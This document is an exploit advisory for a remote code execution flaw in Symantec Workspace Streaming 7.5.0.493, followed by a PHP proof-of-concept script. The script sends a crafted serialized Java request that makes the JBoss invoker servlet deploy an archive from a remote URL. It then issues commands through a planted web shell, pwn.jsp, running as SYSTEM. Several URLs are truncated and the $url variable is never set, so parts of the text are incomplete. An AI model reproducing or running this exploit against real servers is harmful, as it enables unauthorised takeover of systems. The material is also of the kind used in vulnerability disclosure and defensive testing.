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Symantec Workspace Streaming 7.5.0.493 SWS Streamlet Engine Invoker Servlets Remote Code Execution
tested against: Microsoft Windows Server 2008 R2 sp1
download url: http:
file tested: Symantec_Workspace_Streaming_7.5.0.493.zip
vulnerability:
the "SWS Streamlet Engine" service (as_ste.exe) listening
on public port 9832 (tcp/http) is vulnerable.
It exposes the following servlet
http:
http:
due to a bundled invoker.sar
The result is remote code execution with NT AUTHORITY\SYSTEM
privileges.
proof of concept url:
http:
proof of concept:
<?php
$host=$argv[1];
$cmd=$argv[2];
$port=80;
$url_len=pack("n",strlen($url));
function hex_dump($data, $newline="\n") {
static $from = '';
static $to = '';
static $width = 16; static $pad = '.';
if ($from==='') {
for ($i=0; $i<=0xFF; $i++) {
$from .= chr($i);
$to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
}
}
$hex = str_split(bin2hex($data), $width*2);
$chars = str_split(strtr($data, $from, $to), $width);
$offset = 0;
foreach ($hex as $i => $line) {
echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;
$offset += $width;
}
}
$frag_i=
"\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73".
"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72".
"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f".
"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77".
"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76".
"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2".
"\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75".
"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e".
"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00".
"\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62".
"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d".
"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc".
"\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";
$frag_ii="\x00";
$frag_iii=
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e".
"\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f".
"\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00".
"\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e".
"\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b".
"\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73".
"\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65".
"\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00".
"\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00".
"\x01\x74".
$url_len.
$url.
"\x75\x72\x00".
"\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61".
"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d".
"\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61".
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";
$frag_iv=
"\x0d\xd3".
"\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67".
"\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f".
"\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8".
"\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64".
"\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05".
"\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78".
"\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04".
"\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e".
"\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74".
"\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02".
"\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00".
"\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f".
"\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73".
"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d".
"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03".
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62".
"\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69".
"\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78".
"\x78";
$data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv;
$pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n".
"ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n".
"Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n".
"User-Agent: Java/1.6.0_21\r\n".
"Host: ".$host.":".$port."\r\n".
"Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n".
"Connection: keep-alive\r\n".
"Content-type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($data)."\r\n\r\n".
$data;
echo hex_dump($pk)."\n";
$fp=fsockopen($host,$port,$e,$err,3);
fputs($fp,$pk);
$out=fread($fp,8192);
fclose($fp);
echo hex_dump($out)."\n";
sleep(5);
$pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n\r\n";
echo hex_dump($pk)."\n";
$fp=fsockopen($host,$port,$e,$err,3);
fputs($fp,$pk);
$out="";
while (!feof($fp)) {
$out.=fread($fp,8192);
}
fclose($fp);
echo $out;
?>
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